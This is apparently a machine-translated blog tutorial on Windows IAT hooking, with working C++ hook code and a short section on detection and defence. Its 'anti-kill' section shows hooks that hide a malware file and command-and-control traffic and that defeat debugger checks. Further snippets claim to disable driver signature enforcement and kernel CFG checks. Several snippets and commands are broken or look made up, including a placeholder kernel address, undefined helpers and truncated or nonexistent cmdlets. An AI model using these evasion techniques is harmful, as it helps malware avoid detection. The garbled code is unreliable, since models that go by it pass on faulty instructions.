1.1 Windows PE File Structure and IAT

0 20
I. IAT Hook Technology Principle1.1 Windows PE File Structure and IATIn Windows...

I. IAT Hook Technology Principle

1.1 Windows PE File Structure and IAT

In Windows executable files (PE files),Import Address Table (Import Address Table, IAT)Is the core mechanism of dynamic linking. Its working principle is as follows:

  1. Compilation phaseProgram declares external DLL functions it depends on (such as MessageBoxA)

  2. Loading phaseWindows loader parses the export table of the target DLL, filling function addresses into IAT

  3. Runtime phaseProgram calls external functions through addresses in IAT

Key members of PE structure:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD Characteristics;
        DWORD OriginalFirstThunk; // Points to the import name table (INT)
    };
    DWORD TimeDateStamp;
    DWORD ForwarderChain;
    DWORD Name;           // Points to the DLL name string (such as "user32.dll")
    DWORD FirstThunk;     // Points to IAT (actual function address storage location)
}; IMAGE_IMPORT_DESCRIPTOR;

1.2 IAT Hook Implementation Process

  1. Locate the target moduleGet the base address of the target process module (such as user32.dll)

  2. Traverse the import tableFind the specified DLL's IMAGE_IMPORT_DESCRIPTOR

  3. Locate the target functionFind the address of the target function in IAT (such as MessageBoxA)

  4. Modify IAT entriesReplace the address of the original function with the address of the custom function

  5. Build jump logicIn custom functions, handle parameters and selectively call the original function


Part II: Detailed Explanation of IAT Hook Implementation

2.1 Basic Implementation Code (x86 Example)

#include <Windows.h>
#include <imagehlp.h>
#include <iostream>

// Define function pointer type
typedef int (WINAPI* MessageBoxAPtr)(HWND, LPCSTR, LPCSTR, UINT);
MessageBoxAPtr OriginalMessageBoxA = nullptr;

// Custom processing function
int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
    std::cout << "[IAT Hook] Intercepted popup call:\n"
              << "Content: " << (lpText ? lpText : "NULL") << "\n"
              << "Title: " << (lpCaption ? lpCaption : "NULL") << std::endl;
    return OriginalMessageBoxA(hWnd, "Content has been tampered with", lpCaption, uType);
}

// Install IAT Hook
bool InstallIATHook(HMODULE hModule, LPCSTR szDllName, LPCSTR szFuncName, LPVOID pNewFunc) {
    // Get the address of the import table
    ULONG size;
    PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)
        ImageDirectoryEntryToData(hModule, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size);

    if (!pImportDesc) return false;

    // Traverse the import table to find the target DLL
    for (; pImportDesc->Name; pImportDesc++) {
        LPCSTR dllName = (LPCSTR)((BYTE*)hModule + pImportDesc->Name);
        if (_stricmp(dllName, szDllName) != 0) continue;

        // Obtain IAT and INT
        PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImportDesc->FirstThunk);
        PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImportDesc->OriginalFirstThunk);

        // Traverse IAT to find target function
        for (; pIAT->u1.Function; pIAT++, pINT++) {
            // Find by function name
            if (pINT->u1.Ordinal & IMAGE_ORDINAL_FLAG) continue; // Ignore ordinal imports

            PIMAGE_IMPORT_BY_NAME pImport = (PIMAGE_IMPORT_BY_NAME)((BYTE*)hModule + pINT->u1.AddressOfData);
            if (_stricmp((LPCSTR)pImport->Name, szFuncName) != 0) continue;

            // Backup original address
            OriginalMessageBoxA = (MessageBoxAPtr)pIAT->u1.Function;

            // Modify memory protection
            DWORD oldProtect;
            VirtualProtect(&pIAT->u1.Function, sizeof(DWORD), PAGE_READWRITE, &oldProtect);

            // Replace IAT entry
            pIAT->u1.Function = (DWORD)pNewFunc;

            // Restore protection
            VirtualProtect(&pIAT->u1.Function, sizeof(DWORD), oldProtect, &oldProtect);
            return true;
        }
    }
    return false;
}

int main() {
    HMODULE hExe = GetModuleHandle(NULL); // Obtain the current module handle
    if (InstallIATHook(hExe, "user32.dll", "MessageBoxA", HookedMessageBoxA)) {
        MessageBoxA(NULL, "Original Content", "Test Dialog", MB_OK);
    }
    return 0;
}

Code Analysis:

  1. ImageDirectoryEntryToData: Get Import Table Directory Address

  2. Double Pointer Traversal: Through OriginalFirstThunk(INT)Get Function Name, through FirstThunk(IAT)Modify Address

  3. Memory Protection Modification: Use VirtualProtectTemporarily disable memory write protection

  4. Function Address Replacement: Redirect the IAT entry of the target function to a custom function


Third, Anti-kill Application Scenarios

3.1 Sensitive API Hiding

Hide behavior by hooking the following APIs:

// Hide file operations
BOOL WINAPI HookedCreateFileW(LPCWSTR lpFileName, ...) {
    if (wcsstr(lpFileName, L"malware.exe")) {
        SetLastError(ERROR_FILE_NOT_FOUND);
        return INVALID_HANDLE_VALUE;
    }
    return OriginalCreateFileW(lpFileName, ...);
}

// Hide network communication
int WINAPI HookedSend(SOCKET s, const char* buf, int len, ...) {
    if (strstr(buf, "C2_Data")) {
        // Encrypt or discard sensitive data
        return len; 
    }
    return OriginalSend(s, buf, len, ...);
}

3.2 Anti-debug Bypass

Hook debugging-related API:

// Bypass IsDebuggerPresent
BOOL WINAPI HookedIsDebuggerPresent() {
    return FALSE;
}

// Obfuscate CheckRemoteDebuggerPresent
BOOL WINAPI HookedCheckRemoteDebuggerPresent(HANDLE hProcess, PBOOL pbDebuggerPresent) {
    *pbDebuggerPresent = FALSE;
    return TRUE;
}

IV. Detection and Countermeasures Technology

4.1 IAT Hook Detection Method

Detection TypeImplementation Method
IAT Integrity CheckCompare the disk PE file with the memory IAT entries
Module Address VerificationCheck if the function address is within the valid module range
Signature VerificationVerify if the module pointed to by the function address is trusted

4.2 Advanced Countermeasures Implementation

4.2.1 Delay-Load Hook

// Hijack the IAT of the delayed loading DLL
#pragma comment(lib, "Delayimp.lib")
#pragma comment(linker, "/DELAYLOAD:delay.dll")

// Rewrite the delayed loading hook
FARPROC WINAPI DelayHook(unsigned dliNotify, PDelayLoadInfo pdli) {
    if (dliNotify == dliNotePreLoadLibrary && 
        strcmp(pdli->szDll, "delay.dll") == 0) {
        return (FARPROC)LoadLibraryA("evil_delay.dll");
    }
    return NULL;
}

// Set the delayed loading hook
const PfnDliHook __pfnDliNotifyHook2 = DelayHook;

4.2.2 Dynamic IAT Reconstruction

// Dynamically parse the original IAT at runtime
void RebuildIAT(HMODULE hModule) {
    // 1. Read the original PE header from disk
    // 2. Parse the original IAT address
    // 3. Reconstruct IAT using LoadLibrary+GetProcAddress
}

V. Modern Defense Mechanisms

5.1 Code Integrity Protection (CI)

  • Driver Signature Enforcement (DSE)Kernel modules must be signed by Microsoft

  • Protected ProcessProhibit external module injection

Bypass example (requires administrator privileges):

// Disable driver signature verification
typedef NTSTATUS(NTAPI* pNtSetSystemInformation)(INT, PVOID, ULONG);
pNtSetSystemInformation NtSetSystemInformation = 
    (pNtSetSystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtSetSystemInformation");

INT mode = 1; // Disable DSE
NtSetSystemInformation(0x6D, &mode, sizeof(INT));

5.2 Control Flow Protection (CFG)

Through Hook LdrpValidateUserCallTargetBypass CFG check:

// Modify CFG verification results (requires kernel privileges)
void DisableCFGCheck() {
    BYTE patch[] = {0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3}; // mov eax,1; ret
    WriteKernelMemory(L"ntoskrnl.exe", 0x12345678, patch, sizeof(patch));
}

6. Defense Solution Recommendations

6.1 Enterprise-level Protection

  1. Enable Code Integrity Policy:

    # Deploy WHQL signing policy
    New-CIPolicy -FilePath Baseline.xml -Level Publishe
  2. Process Behavior Monitoring:

    # Record IAT modification events
    New-EventFilter -ProviderName "Microsoft-Windows-Kernel-Process" 
      -EventId 5 # ProcessCreate

6.2 Developer Protection

// Runtime IAT self-check
bool VerifyIATIntegrity(HMODULE hModule) {
    // Read the original IAT from the disk
    // Compare memory IAT entries
    // Terminate the process if tampering is detected
}

7. Technical Evolution Direction

  1. Hardware-assisted Hook:

    • Protecting control flow using Intel CET technology

    • Module integrity verification based on TPM

  2. AI Countermeasures Technology:

    • Generating legitimate IAT patterns using Generative Adversarial Networks (GAN)

    • Optimizing Hook trigger conditions with reinforcement learning

  3. Inter-process IAT injection:

    • Reconstructing the target process IAT through APC injection

    • Bypassing user layer monitoring using the WSL subsystem

Legal StatementThis technology described in the article is for security research purposes only and is prohibited from being used for illegal purposes. Actual defense needs to be adjusted according to the business scenario.

你可能想看:
最后修改时间:
admin
上一篇 2025年03月25日 10:40
下一篇 2025年03月25日 11:02

评论已关闭